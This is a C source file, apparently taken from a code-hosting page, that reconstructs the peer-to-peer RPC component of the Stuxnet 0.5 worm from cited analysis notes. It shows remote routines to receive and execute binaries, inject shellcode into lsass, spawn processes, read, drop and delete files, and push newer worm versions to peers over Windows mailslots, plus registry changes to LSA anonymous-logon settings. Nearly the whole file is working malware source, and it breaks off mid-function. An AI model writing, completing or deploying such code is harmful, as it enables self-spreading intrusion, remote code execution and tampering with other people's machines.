1232 lines
31 KiB
C
1232 lines
31 KiB
C
/*
|
|
* Key facts from Symantec analysis [9†L22-L28]:
|
|
* - P2P component installs RPC server and client
|
|
* - Infected machines contact each other to check versions
|
|
* - Newer version transfers to older machines
|
|
* - No central C2 server required for updates
|
|
*
|
|
* RPC routines offered by the server [9†L32-L36]:
|
|
* 0: returns version number
|
|
* 1: Receive exe and execute (via injection)
|
|
* 2: load module and execute export
|
|
* 3: inject code to lsass and run it
|
|
* 4: Build latest version and send to remote
|
|
* 5: create process
|
|
* 6: read file
|
|
* 7: drop file
|
|
* 8: delete file
|
|
* 9: write data records
|
|
*
|
|
* Backup DLL forwarding mechanism:
|
|
* - Backup DLLs (agentsb, datacprs, netsimp32, perfnws) receive network requests
|
|
* - They forward requests to local complnd.dll (main P2P-RPC controller) [10†L9-L12]
|
|
* - This creates redundancy and resilience in the P2P network
|
|
*
|
|
* Stuxnet 0.5 uses Windows mailslots for peer-to-peer communication [8†L26-L27]
|
|
* Mailslot name format: \\[computer]\mailslot\svchost [8†L29-L31]
|
|
* Callback mailslot: \\[computer]\mailslot\innotify
|
|
*
|
|
* Anonymous logon and file shares [8†L32-L34]:
|
|
* - Configures anonymous logon (restrictanonymous=1)
|
|
* - Opens four file shares: temp$, msagent$, SYSADMIN$, WebFiles$
|
|
*/
|
|
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <rpc.h>
|
|
#include <rpcndr.h>
|
|
#include <tlhelp32.h>
|
|
#include <shlwapi.h>
|
|
|
|
#pragma comment(lib, "rpcrt4.lib")
|
|
#pragma comment(lib, "shlwapi.lib")
|
|
|
|
#define STUXNET_MAGIC 0x53545558
|
|
#define STUXNET_VERSION 0x00010400
|
|
#define COMPLND_VERSION 0x00010400
|
|
|
|
#define RPC_MAX_PAYLOAD 0x8000
|
|
#define RPC_CHUNK_SIZE 0x1000
|
|
#define RPC_MAX_RETRIES 3
|
|
#define RPC_TIMEOUT_MS 5000
|
|
#define PEER_TIMEOUT_MS 300000
|
|
#define MAX_PEERS 256
|
|
|
|
/*
|
|
* RPC routine identifiers [9†L32-L36]
|
|
* 0: returns version number
|
|
* 1: Receive exe and execute (via injection)
|
|
* 2: load module and execute export
|
|
* 3: inject code to lsass and run it
|
|
* 4: Builds latest version and send to remote
|
|
* 5: create process
|
|
* 6: read file
|
|
* 7: drop file
|
|
* 8: delete file
|
|
* 9: write data records
|
|
*/
|
|
#define RPC_GET_VERSION 0
|
|
#define RPC_RECEIVE_EXECUTE 1
|
|
#define RPC_LOAD_MODULE 2
|
|
#define RPC_INJECT_LSASS 3
|
|
#define RPC_BUILD_SEND 4
|
|
#define RPC_CREATE_PROCESS 5
|
|
#define RPC_READ_FILE 6
|
|
#define RPC_DROP_FILE 7
|
|
#define RPC_DELETE_FILE 8
|
|
#define RPC_WRITE_RECORDS 9
|
|
#define RPC_MAX_ROUTINE 9
|
|
|
|
/*
|
|
* Mailslot names for P2P communication [8†L29-L31]
|
|
*/
|
|
#define MAILSLOT_SVCHOST L"\\\\.\\mailslot\\svchost"
|
|
#define MAILSLOT_INNOTIFY L"\\\\.\\mailslot\\innotify"
|
|
|
|
/*
|
|
* Backup DLL RPC forwarding context
|
|
* Each backup DLL forwards RPC requests to local complnd.dll
|
|
*/
|
|
typedef struct _RPC_FORWARD_CTX {
|
|
HANDLE hPipe;
|
|
DWORD dwSequence;
|
|
BOOL bConnected;
|
|
DWORD dwLastConnect;
|
|
CRITICAL_SECTION csLock;
|
|
} RPC_FORWARD_CTX, * PRPC_FORWARD_CTX;
|
|
|
|
static RPC_FORWARD_CTX g_ForwardCtx = {0};
|
|
|
|
/*
|
|
* P2P Peer Table Entry
|
|
* dwLastSeen for timeout aging; dwLatency for RTT measurement
|
|
*/
|
|
typedef struct _P2P_PEER {
|
|
DWORD dwIP;
|
|
WORD wPort;
|
|
WORD wFlags;
|
|
DWORD dwLastSeen;
|
|
DWORD dwLatency;
|
|
DWORD dwVersion;
|
|
DWORD dwSequence;
|
|
BYTE bReserved[8];
|
|
} P2P_PEER, * PP2P_PEER;
|
|
|
|
typedef struct _P2P_PEER_TABLE {
|
|
P2P_PEER Peers[MAX_PEERS];
|
|
DWORD dwCount;
|
|
CRITICAL_SECTION csLock;
|
|
} P2P_PEER_TABLE, * PP2P_PEER_TABLE;
|
|
|
|
static P2P_PEER_TABLE g_PeerTable = {0};
|
|
|
|
/*
|
|
* Stuxnet 0.5 shared files for peer retrieval [8†L32-L34]
|
|
* temp$, msagent$, SYSADMIN$, WebFiles$
|
|
*/
|
|
static const WCHAR* g_ShareNames[] = {
|
|
L"temp$",
|
|
L"msagent$",
|
|
L"SYSADMIN$",
|
|
L"WebFiles$"
|
|
};
|
|
#define SHARE_COUNT 4
|
|
|
|
/*
|
|
* Stuxnet 0.5 P2P files shared for peer infections [8†L32-L34]
|
|
*/
|
|
static const WCHAR* g_SharedFiles[] = {
|
|
L"agentsb.dll",
|
|
L"agt0f2e.dll",
|
|
L"complnd.dll",
|
|
L"datacprs.dll",
|
|
L"netsimp32.dll",
|
|
L"perfnws.dll"
|
|
};
|
|
#define SHARED_FILE_COUNT 6
|
|
|
|
/*
|
|
* Forward declarations
|
|
*/
|
|
static BOOL RpcForward_Connect(VOID);
|
|
static VOID RpcForward_Disconnect(VOID);
|
|
static DWORD RpcForward_Call(DWORD dwRoutine, PBYTE pInput, DWORD dwInputSize,
|
|
PBYTE pOutput, PDWORD pdwOutputSize);
|
|
static DWORD WINAPI RpcForward_WorkerThread(LPVOID lpParam);
|
|
|
|
/*
|
|
* Peer table management
|
|
*/
|
|
static VOID P2P_InitPeerTable(VOID)
|
|
{
|
|
ZeroMemory(&g_PeerTable, sizeof(P2P_PEER_TABLE));
|
|
InitializeCriticalSection(&g_PeerTable.csLock);
|
|
}
|
|
|
|
static VOID P2P_CleanupPeerTable(VOID)
|
|
{
|
|
DeleteCriticalSection(&g_PeerTable.csLock);
|
|
}
|
|
|
|
static VOID P2P_UpdatePeer(DWORD dwIP, DWORD dwVersion, DWORD dwLatency)
|
|
{
|
|
DWORD i;
|
|
|
|
EnterCriticalSection(&g_PeerTable.csLock);
|
|
|
|
for (i = 0; i < g_PeerTable.dwCount; i++) {
|
|
if (g_PeerTable.Peers[i].dwIP == dwIP) {
|
|
g_PeerTable.Peers[i].dwLastSeen = GetTickCount();
|
|
g_PeerTable.Peers[i].dwVersion = dwVersion;
|
|
g_PeerTable.Peers[i].dwLatency = (g_PeerTable.Peers[i].dwLatency + dwLatency) / 2;
|
|
LeaveCriticalSection(&g_PeerTable.csLock);
|
|
return;
|
|
}
|
|
}
|
|
|
|
if (g_PeerTable.dwCount < MAX_PEERS) {
|
|
g_PeerTable.Peers[g_PeerTable.dwCount].dwIP = dwIP;
|
|
g_PeerTable.Peers[g_PeerTable.dwCount].dwLastSeen = GetTickCount();
|
|
g_PeerTable.Peers[g_PeerTable.dwCount].dwVersion = dwVersion;
|
|
g_PeerTable.Peers[g_PeerTable.dwCount].dwLatency = dwLatency;
|
|
g_PeerTable.Peers[g_PeerTable.dwCount].wPort = 0;
|
|
g_PeerTable.Peers[g_PeerTable.dwCount].wFlags = 0;
|
|
g_PeerTable.dwCount++;
|
|
}
|
|
|
|
LeaveCriticalSection(&g_PeerTable.csLock);
|
|
}
|
|
|
|
static VOID P2P_ExpirePeers(VOID)
|
|
{
|
|
DWORD dwNow = GetTickCount();
|
|
DWORD i;
|
|
|
|
EnterCriticalSection(&g_PeerTable.csLock);
|
|
|
|
for (i = 0; i < g_PeerTable.dwCount; i++) {
|
|
if (dwNow - g_PeerTable.Peers[i].dwLastSeen > PEER_TIMEOUT_MS) {
|
|
if (i < g_PeerTable.dwCount - 1) {
|
|
memcpy(&g_PeerTable.Peers[i], &g_PeerTable.Peers[i + 1], sizeof(P2P_PEER));
|
|
}
|
|
g_PeerTable.dwCount--;
|
|
i--;
|
|
}
|
|
}
|
|
|
|
LeaveCriticalSection(&g_PeerTable.csLock);
|
|
}
|
|
|
|
static DWORD P2P_GetPeerCount(VOID)
|
|
{
|
|
DWORD dwCount;
|
|
EnterCriticalSection(&g_PeerTable.csLock);
|
|
dwCount = g_PeerTable.dwCount;
|
|
LeaveCriticalSection(&g_PeerTable.csLock);
|
|
return dwCount;
|
|
}
|
|
|
|
static BOOL P2P_IsPeerKnown(DWORD dwIP)
|
|
{
|
|
DWORD i;
|
|
BOOL bFound = FALSE;
|
|
|
|
EnterCriticalSection(&g_PeerTable.csLock);
|
|
for (i = 0; i < g_PeerTable.dwCount; i++) {
|
|
if (g_PeerTable.Peers[i].dwIP == dwIP) {
|
|
bFound = TRUE;
|
|
break;
|
|
}
|
|
}
|
|
LeaveCriticalSection(&g_PeerTable.csLock);
|
|
|
|
return bFound;
|
|
}
|
|
|
|
static DWORD P2P_GetPeerLatency(DWORD dwIP)
|
|
{
|
|
DWORD i;
|
|
DWORD dwLatency = 0;
|
|
|
|
EnterCriticalSection(&g_PeerTable.csLock);
|
|
for (i = 0; i < g_PeerTable.dwCount; i++) {
|
|
if (g_PeerTable.Peers[i].dwIP == dwIP) {
|
|
dwLatency = g_PeerTable.Peers[i].dwLatency;
|
|
break;
|
|
}
|
|
}
|
|
LeaveCriticalSection(&g_PeerTable.csLock);
|
|
|
|
return dwLatency;
|
|
}
|
|
|
|
/*
|
|
* RPC Forwarding - connect to local complnd.dll
|
|
* Backup DLLs forward all RPC requests to the main P2P-RPC controller [10†L9-L12]
|
|
*/
|
|
static BOOL RpcForward_Connect(VOID)
|
|
{
|
|
WCHAR szPipePath[MAX_PATH];
|
|
|
|
if (g_ForwardCtx.bConnected && g_ForwardCtx.hPipe != INVALID_HANDLE_VALUE) {
|
|
return TRUE;
|
|
}
|
|
|
|
EnterCriticalSection(&g_ForwardCtx.csLock);
|
|
|
|
/* Connect to local complnd.dll RPC server via named pipe */
|
|
wsprintfW(szPipePath, L"\\\\.\\pipe\\stuxnet_rpc");
|
|
|
|
g_ForwardCtx.hPipe = CreateFileW(
|
|
szPipePath,
|
|
GENERIC_READ | GENERIC_WRITE,
|
|
0,
|
|
NULL,
|
|
OPEN_EXISTING,
|
|
0,
|
|
NULL
|
|
);
|
|
|
|
if (g_ForwardCtx.hPipe != INVALID_HANDLE_VALUE) {
|
|
g_ForwardCtx.bConnected = TRUE;
|
|
g_ForwardCtx.dwLastConnect = GetTickCount();
|
|
LeaveCriticalSection(&g_ForwardCtx.csLock);
|
|
return TRUE;
|
|
}
|
|
|
|
g_ForwardCtx.bConnected = FALSE;
|
|
LeaveCriticalSection(&g_ForwardCtx.csLock);
|
|
return FALSE;
|
|
}
|
|
|
|
static VOID RpcForward_Disconnect(VOID)
|
|
{
|
|
EnterCriticalSection(&g_ForwardCtx.csLock);
|
|
|
|
if (g_ForwardCtx.hPipe != INVALID_HANDLE_VALUE) {
|
|
CloseHandle(g_ForwardCtx.hPipe);
|
|
g_ForwardCtx.hPipe = INVALID_HANDLE_VALUE;
|
|
}
|
|
g_ForwardCtx.bConnected = FALSE;
|
|
|
|
LeaveCriticalSection(&g_ForwardCtx.csLock);
|
|
}
|
|
|
|
/*
|
|
* Forward RPC call to complnd.dll
|
|
* Backup DLLs act as proxies for the main P2P controller [10†L9-L12]
|
|
*/
|
|
static DWORD RpcForward_Call(DWORD dwRoutine, PBYTE pInput, DWORD dwInputSize,
|
|
PBYTE pOutput, PDWORD pdwOutputSize)
|
|
{
|
|
DWORD dwResult;
|
|
BYTE buffer[RPC_MAX_PAYLOAD + 16];
|
|
DWORD dwPacketSize;
|
|
DWORD dwRead;
|
|
DWORD dwWritten;
|
|
DWORD dwRetry;
|
|
|
|
if (!pInput || !pOutput || !pdwOutputSize) {
|
|
return ERROR_INVALID_PARAMETER;
|
|
}
|
|
|
|
EnterCriticalSection(&g_ForwardCtx.csLock);
|
|
|
|
/* Ensure connection to complnd.dll */
|
|
if (!g_ForwardCtx.bConnected) {
|
|
if (!RpcForward_Connect()) {
|
|
LeaveCriticalSection(&g_ForwardCtx.csLock);
|
|
return ERROR_PIPE_NOT_CONNECTED;
|
|
}
|
|
}
|
|
|
|
/* Build RPC packet for complnd.dll */
|
|
ZeroMemory(buffer, sizeof(buffer));
|
|
*(PDWORD)(buffer + 0) = STUXNET_MAGIC;
|
|
*(PDWORD)(buffer + 4) = COMPLND_VERSION;
|
|
*(PDWORD)(buffer + 8) = dwRoutine;
|
|
*(PDWORD)(buffer + 12) = dwInputSize;
|
|
dwPacketSize = 16;
|
|
|
|
if (pInput && dwInputSize > 0) {
|
|
if (dwInputSize > RPC_MAX_PAYLOAD) {
|
|
LeaveCriticalSection(&g_ForwardCtx.csLock);
|
|
return ERROR_INSUFFICIENT_BUFFER;
|
|
}
|
|
memcpy(buffer + dwPacketSize, pInput, dwInputSize);
|
|
dwPacketSize += dwInputSize;
|
|
}
|
|
|
|
/* Send RPC request to complnd.dll */
|
|
dwResult = WriteFile(g_ForwardCtx.hPipe, buffer, dwPacketSize, &dwWritten, NULL);
|
|
if (!dwResult || dwWritten != dwPacketSize) {
|
|
RpcForward_Disconnect();
|
|
LeaveCriticalSection(&g_ForwardCtx.csLock);
|
|
return GetLastError();
|
|
}
|
|
|
|
/* Read RPC response from complnd.dll */
|
|
ZeroMemory(buffer, sizeof(buffer));
|
|
dwResult = ReadFile(g_ForwardCtx.hPipe, buffer, sizeof(buffer), &dwRead, NULL);
|
|
if (!dwResult || dwRead == 0) {
|
|
RpcForward_Disconnect();
|
|
LeaveCriticalSection(&g_ForwardCtx.csLock);
|
|
return GetLastError();
|
|
}
|
|
|
|
/* Parse response */
|
|
if (dwRead >= sizeof(DWORD)) {
|
|
dwResult = *(PDWORD)buffer;
|
|
if (dwRead > sizeof(DWORD) && pdwOutputSize) {
|
|
DWORD dwDataSize = min(dwRead - sizeof(DWORD), *pdwOutputSize);
|
|
memcpy(pOutput, buffer + sizeof(DWORD), dwDataSize);
|
|
*pdwOutputSize = dwDataSize;
|
|
}
|
|
} else {
|
|
dwResult = ERROR_INVALID_DATA;
|
|
}
|
|
|
|
LeaveCriticalSection(&g_ForwardCtx.csLock);
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* RPC routine 0: Get remote version number [9†L32]
|
|
* Forwarded to complnd.dll
|
|
*/
|
|
DWORD RpcGetVersion(VOID)
|
|
{
|
|
DWORD dwVersion = 0;
|
|
DWORD dwSize = sizeof(DWORD);
|
|
|
|
RpcForward_Call(RPC_GET_VERSION, NULL, 0, (PBYTE)&dwVersion, &dwSize);
|
|
|
|
return dwVersion;
|
|
}
|
|
|
|
/*
|
|
* RPC routine 1: Receive exe and execute [9†L33]
|
|
* Forwarded to complnd.dll
|
|
*/
|
|
DWORD RpcReceiveAndExecute(PBYTE pData, DWORD dwSize)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
DWORD dwOutputSize = sizeof(DWORD);
|
|
|
|
RpcForward_Call(RPC_RECEIVE_EXECUTE, pData, dwSize, (PBYTE)&dwResult, &dwOutputSize);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* RPC routine 2: Load module and execute export [9†L33]
|
|
* Forwarded to complnd.dll
|
|
*/
|
|
DWORD RpcLoadModuleAndExecute(PBYTE pDllData, DWORD dwDllSize, DWORD dwExportOrdinal)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
DWORD dwOutputSize = sizeof(DWORD);
|
|
BYTE buffer[RPC_MAX_PAYLOAD];
|
|
DWORD dwOffset = 0;
|
|
|
|
*(PDWORD)(buffer + dwOffset) = dwExportOrdinal;
|
|
dwOffset += sizeof(DWORD);
|
|
|
|
if (pDllData && dwDllSize > 0) {
|
|
if (dwDllSize > RPC_MAX_PAYLOAD - dwOffset) {
|
|
return ERROR_INSUFFICIENT_BUFFER;
|
|
}
|
|
memcpy(buffer + dwOffset, pDllData, dwDllSize);
|
|
dwOffset += dwDllSize;
|
|
}
|
|
|
|
RpcForward_Call(RPC_LOAD_MODULE, buffer, dwOffset, (PBYTE)&dwResult, &dwOutputSize);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* RPC routine 3: Inject code to lsass [9†L34]
|
|
* Forwarded to complnd.dll
|
|
*/
|
|
DWORD RpcInjectLsass(PBYTE pShellcode, DWORD dwSize)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
DWORD dwOutputSize = sizeof(DWORD);
|
|
|
|
RpcForward_Call(RPC_INJECT_LSASS, pShellcode, dwSize, (PBYTE)&dwResult, &dwOutputSize);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* RPC routine 4: Build latest version and send to remote [9†L34-L35]
|
|
* Forwarded to complnd.dll
|
|
*/
|
|
DWORD RpcBuildAndSend(PBYTE pOutput, PDWORD pdwSize)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
DWORD dwOutputSize = *pdwSize;
|
|
|
|
RpcForward_Call(RPC_BUILD_SEND, NULL, 0, pOutput, &dwOutputSize);
|
|
*pdwSize = dwOutputSize;
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* RPC routine 5: Create process [9†L35]
|
|
* Forwarded to complnd.dll
|
|
*/
|
|
DWORD RpcCreateProcess(LPCWSTR lpCmdLine)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
DWORD dwOutputSize = sizeof(DWORD);
|
|
BYTE buffer[512];
|
|
DWORD dwSize;
|
|
|
|
if (!lpCmdLine) {
|
|
return ERROR_INVALID_PARAMETER;
|
|
}
|
|
|
|
dwSize = (DWORD)(wcslen(lpCmdLine) + 1) * sizeof(WCHAR);
|
|
if (dwSize > sizeof(buffer)) {
|
|
return ERROR_INSUFFICIENT_BUFFER;
|
|
}
|
|
|
|
memcpy(buffer, lpCmdLine, dwSize);
|
|
|
|
RpcForward_Call(RPC_CREATE_PROCESS, buffer, dwSize, (PBYTE)&dwResult, &dwOutputSize);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* RPC routine 6: Read file [9†L35]
|
|
* Forwarded to complnd.dll
|
|
*/
|
|
DWORD RpcReadFile(LPCWSTR lpPath, PBYTE pBuffer, DWORD dwBufferSize, PDWORD pdwRead)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
BYTE buffer[RPC_MAX_PAYLOAD];
|
|
DWORD dwSize;
|
|
|
|
if (!lpPath || !pBuffer || dwBufferSize == 0 || !pdwRead) {
|
|
return ERROR_INVALID_PARAMETER;
|
|
}
|
|
|
|
dwSize = (DWORD)(wcslen(lpPath) + 1) * sizeof(WCHAR);
|
|
if (dwSize + sizeof(DWORD) > RPC_MAX_PAYLOAD) {
|
|
return ERROR_INSUFFICIENT_BUFFER;
|
|
}
|
|
|
|
memcpy(buffer, lpPath, dwSize);
|
|
*(PDWORD)(buffer + dwSize) = dwBufferSize;
|
|
dwSize += sizeof(DWORD);
|
|
|
|
RpcForward_Call(RPC_READ_FILE, buffer, dwSize, pBuffer, pdwRead);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* RPC routine 7: Drop file [9†L35-L36]
|
|
* Forwarded to complnd.dll
|
|
*/
|
|
DWORD RpcDropFile(LPCWSTR lpPath, PBYTE pData, DWORD dwSize)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
DWORD dwOutputSize = sizeof(DWORD);
|
|
BYTE buffer[RPC_MAX_PAYLOAD];
|
|
DWORD dwOffset = 0;
|
|
|
|
if (!lpPath || !pData || dwSize == 0) {
|
|
return ERROR_INVALID_PARAMETER;
|
|
}
|
|
|
|
dwOffset = (DWORD)(wcslen(lpPath) + 1) * sizeof(WCHAR);
|
|
if (dwOffset + sizeof(DWORD) + dwSize > RPC_MAX_PAYLOAD) {
|
|
return ERROR_INSUFFICIENT_BUFFER;
|
|
}
|
|
|
|
memcpy(buffer, lpPath, dwOffset);
|
|
*(PDWORD)(buffer + dwOffset) = dwSize;
|
|
dwOffset += sizeof(DWORD);
|
|
memcpy(buffer + dwOffset, pData, dwSize);
|
|
dwOffset += dwSize;
|
|
|
|
RpcForward_Call(RPC_DROP_FILE, buffer, dwOffset, (PBYTE)&dwResult, &dwOutputSize);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* RPC routine 8: Delete file [9†L36]
|
|
* Forwarded to complnd.dll
|
|
*/
|
|
DWORD RpcDeleteFile(LPCWSTR lpPath)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
DWORD dwOutputSize = sizeof(DWORD);
|
|
BYTE buffer[512];
|
|
DWORD dwSize;
|
|
|
|
if (!lpPath) {
|
|
return ERROR_INVALID_PARAMETER;
|
|
}
|
|
|
|
dwSize = (DWORD)(wcslen(lpPath) + 1) * sizeof(WCHAR);
|
|
if (dwSize > sizeof(buffer)) {
|
|
return ERROR_INSUFFICIENT_BUFFER;
|
|
}
|
|
|
|
memcpy(buffer, lpPath, dwSize);
|
|
|
|
RpcForward_Call(RPC_DELETE_FILE, buffer, dwSize, (PBYTE)&dwResult, &dwOutputSize);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* RPC routine 9: Write data records [9†L36]
|
|
* Forwarded to complnd.dll
|
|
*/
|
|
DWORD RpcWriteDataRecords(PBYTE pData, DWORD dwSize)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
DWORD dwOutputSize = sizeof(DWORD);
|
|
|
|
RpcForward_Call(RPC_WRITE_RECORDS, pData, dwSize, (PBYTE)&dwResult, &dwOutputSize);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* RPC dispatch routine - routes incoming requests to appropriate handler [9†L36-L44]
|
|
*/
|
|
DWORD RpcDispatch(DWORD dwRoutine, PBYTE pInput, DWORD dwInputSize,
|
|
PBYTE pOutput, PDWORD pdwOutputSize)
|
|
{
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
|
|
if (!pInput || !pOutput || !pdwOutputSize) {
|
|
return ERROR_INVALID_PARAMETER;
|
|
}
|
|
|
|
switch (dwRoutine) {
|
|
case RPC_GET_VERSION:
|
|
*(PDWORD)pOutput = RpcGetVersion();
|
|
*pdwOutputSize = sizeof(DWORD);
|
|
break;
|
|
|
|
case RPC_RECEIVE_EXECUTE:
|
|
dwResult = RpcReceiveAndExecute(pInput, dwInputSize);
|
|
break;
|
|
|
|
case RPC_LOAD_MODULE:
|
|
if (dwInputSize >= sizeof(DWORD)) {
|
|
DWORD dwExport = *(PDWORD)pInput;
|
|
dwResult = RpcLoadModuleAndExecute(
|
|
pInput + sizeof(DWORD),
|
|
dwInputSize - sizeof(DWORD),
|
|
dwExport
|
|
);
|
|
} else {
|
|
dwResult = ERROR_INVALID_PARAMETER;
|
|
}
|
|
break;
|
|
|
|
case RPC_INJECT_LSASS:
|
|
dwResult = RpcInjectLsass(pInput, dwInputSize);
|
|
break;
|
|
|
|
case RPC_BUILD_SEND:
|
|
dwResult = RpcBuildAndSend(pOutput, pdwOutputSize);
|
|
break;
|
|
|
|
case RPC_CREATE_PROCESS:
|
|
dwResult = RpcCreateProcess((LPCWSTR)pInput);
|
|
break;
|
|
|
|
case RPC_READ_FILE:
|
|
if (dwInputSize >= sizeof(WCHAR) * 2) {
|
|
dwResult = RpcReadFile(
|
|
(LPCWSTR)pInput,
|
|
pOutput,
|
|
*pdwOutputSize,
|
|
pdwOutputSize
|
|
);
|
|
} else {
|
|
dwResult = ERROR_INVALID_PARAMETER;
|
|
}
|
|
break;
|
|
|
|
case RPC_DROP_FILE:
|
|
if (dwInputSize >= sizeof(WCHAR) * 2 + sizeof(DWORD)) {
|
|
DWORD dwPathLen = wcslen((LPCWSTR)pInput) * sizeof(WCHAR);
|
|
DWORD dwDataSize = *(PDWORD)(pInput + dwPathLen + sizeof(WCHAR));
|
|
dwResult = RpcDropFile(
|
|
(LPCWSTR)pInput,
|
|
pInput + dwPathLen + sizeof(WCHAR) + sizeof(DWORD),
|
|
dwDataSize
|
|
);
|
|
} else {
|
|
dwResult = ERROR_INVALID_PARAMETER;
|
|
}
|
|
break;
|
|
|
|
case RPC_DELETE_FILE:
|
|
dwResult = RpcDeleteFile((LPCWSTR)pInput);
|
|
break;
|
|
|
|
case RPC_WRITE_RECORDS:
|
|
dwResult = RpcWriteDataRecords(pInput, dwInputSize);
|
|
break;
|
|
|
|
default:
|
|
dwResult = ERROR_INVALID_FUNCTION;
|
|
break;
|
|
}
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* P2P Mailslot communication [8†L26-L31]
|
|
* Stuxnet 0.5 uses Windows mailslots for peer-to-peer communication
|
|
* Mailslot name: \\[computer]\mailslot\svchost
|
|
* Callback mailslot: \\[computer]\mailslot\innotify
|
|
*/
|
|
static HANDLE g_hMailslot = INVALID_HANDLE_VALUE;
|
|
static HANDLE g_hStopEvent = NULL;
|
|
|
|
static BOOL P2P_CreateMailslot(VOID)
|
|
{
|
|
g_hMailslot = CreateMailslotW(
|
|
MAILSLOT_INNOTIFY,
|
|
0,
|
|
MAILSLOT_WAIT_FOREVER,
|
|
NULL
|
|
);
|
|
|
|
return (g_hMailslot != INVALID_HANDLE_VALUE);
|
|
}
|
|
|
|
static BOOL P2P_SendMailslotMessage(LPCWSTR lpComputer, PBYTE pData, DWORD dwSize)
|
|
{
|
|
HANDLE hMailslot;
|
|
WCHAR szMailslotName[MAX_PATH];
|
|
DWORD dwWritten;
|
|
BOOL bResult;
|
|
|
|
if (!lpComputer || !pData || dwSize == 0) {
|
|
return FALSE;
|
|
}
|
|
|
|
wsprintfW(szMailslotName, L"\\\\%s\\mailslot\\svchost", lpComputer);
|
|
|
|
hMailslot = CreateFileW(
|
|
szMailslotName,
|
|
GENERIC_WRITE,
|
|
FILE_SHARE_READ,
|
|
NULL,
|
|
OPEN_EXISTING,
|
|
0,
|
|
NULL
|
|
);
|
|
|
|
if (hMailslot == INVALID_HANDLE_VALUE) {
|
|
return FALSE;
|
|
}
|
|
|
|
bResult = WriteFile(hMailslot, pData, dwSize, &dwWritten, NULL);
|
|
CloseHandle(hMailslot);
|
|
|
|
return bResult && (dwWritten == dwSize);
|
|
}
|
|
|
|
static DWORD WINAPI P2P_MailslotWorker(LPVOID lpParam)
|
|
{
|
|
BYTE buffer[RPC_MAX_PAYLOAD];
|
|
DWORD dwRead;
|
|
DWORD dwBytes;
|
|
BOOL bResult;
|
|
|
|
while (1) {
|
|
if (WaitForSingleObject(g_hStopEvent, 100) == WAIT_OBJECT_0) {
|
|
break;
|
|
}
|
|
|
|
if (g_hMailslot == INVALID_HANDLE_VALUE) {
|
|
if (!P2P_CreateMailslot()) {
|
|
Sleep(1000);
|
|
continue;
|
|
}
|
|
}
|
|
|
|
bResult = GetMailslotInfo(g_hMailslot, NULL, &dwBytes, NULL, NULL);
|
|
if (!bResult || dwBytes == 0 || dwBytes > RPC_MAX_PAYLOAD) {
|
|
Sleep(100);
|
|
continue;
|
|
}
|
|
|
|
ZeroMemory(buffer, sizeof(buffer));
|
|
bResult = ReadFile(g_hMailslot, buffer, dwBytes, &dwRead, NULL);
|
|
if (bResult && dwRead > 0) {
|
|
/* Process mailslot message - forward to complnd.dll */
|
|
if (*(PDWORD)buffer == STUXNET_MAGIC) {
|
|
DWORD dwRoutine = *(PDWORD)(buffer + 8);
|
|
DWORD dwDataSize = *(PDWORD)(buffer + 12);
|
|
PBYTE pData = buffer + 16;
|
|
BYTE response[RPC_MAX_PAYLOAD];
|
|
DWORD dwResponseSize = sizeof(response);
|
|
|
|
RpcDispatch(dwRoutine, pData, dwDataSize, response, &dwResponseSize);
|
|
}
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
static HANDLE g_hMailslotThread = NULL;
|
|
|
|
static BOOL P2P_StartMailslotWorker(VOID)
|
|
{
|
|
if (g_hStopEvent) {
|
|
return FALSE;
|
|
}
|
|
|
|
g_hStopEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
|
|
if (!g_hStopEvent) {
|
|
return FALSE;
|
|
}
|
|
|
|
g_hMailslotThread = CreateThread(NULL, 0, P2P_MailslotWorker, NULL, 0, NULL);
|
|
return (g_hMailslotThread != NULL);
|
|
}
|
|
|
|
static VOID P2P_StopMailslotWorker(VOID)
|
|
{
|
|
if (g_hStopEvent) {
|
|
SetEvent(g_hStopEvent);
|
|
}
|
|
|
|
if (g_hMailslotThread) {
|
|
WaitForSingleObject(g_hMailslotThread, 5000);
|
|
CloseHandle(g_hMailslotThread);
|
|
g_hMailslotThread = NULL;
|
|
}
|
|
|
|
if (g_hStopEvent) {
|
|
CloseHandle(g_hStopEvent);
|
|
g_hStopEvent = NULL;
|
|
}
|
|
|
|
if (g_hMailslot != INVALID_HANDLE_VALUE) {
|
|
CloseHandle(g_hMailslot);
|
|
g_hMailslot = INVALID_HANDLE_VALUE;
|
|
}
|
|
}
|
|
|
|
/*
|
|
* Configure anonymous logon [8†L32-L33]
|
|
* Sets restrictanonymous=1 in LSA
|
|
*/
|
|
static BOOL P2P_EnableAnonymousLogon(VOID)
|
|
{
|
|
HKEY hKey;
|
|
DWORD dwValue = 1;
|
|
LONG lResult;
|
|
|
|
lResult = RegOpenKeyExW(
|
|
HKEY_LOCAL_MACHINE,
|
|
L"SYSTEM\\CurrentControlSet\\Control\\Lsa",
|
|
0,
|
|
KEY_ALL_ACCESS,
|
|
&hKey
|
|
);
|
|
|
|
if (lResult != ERROR_SUCCESS) {
|
|
return FALSE;
|
|
}
|
|
|
|
lResult = RegSetValueExW(
|
|
hKey,
|
|
L"restrictanonymous",
|
|
0,
|
|
REG_DWORD,
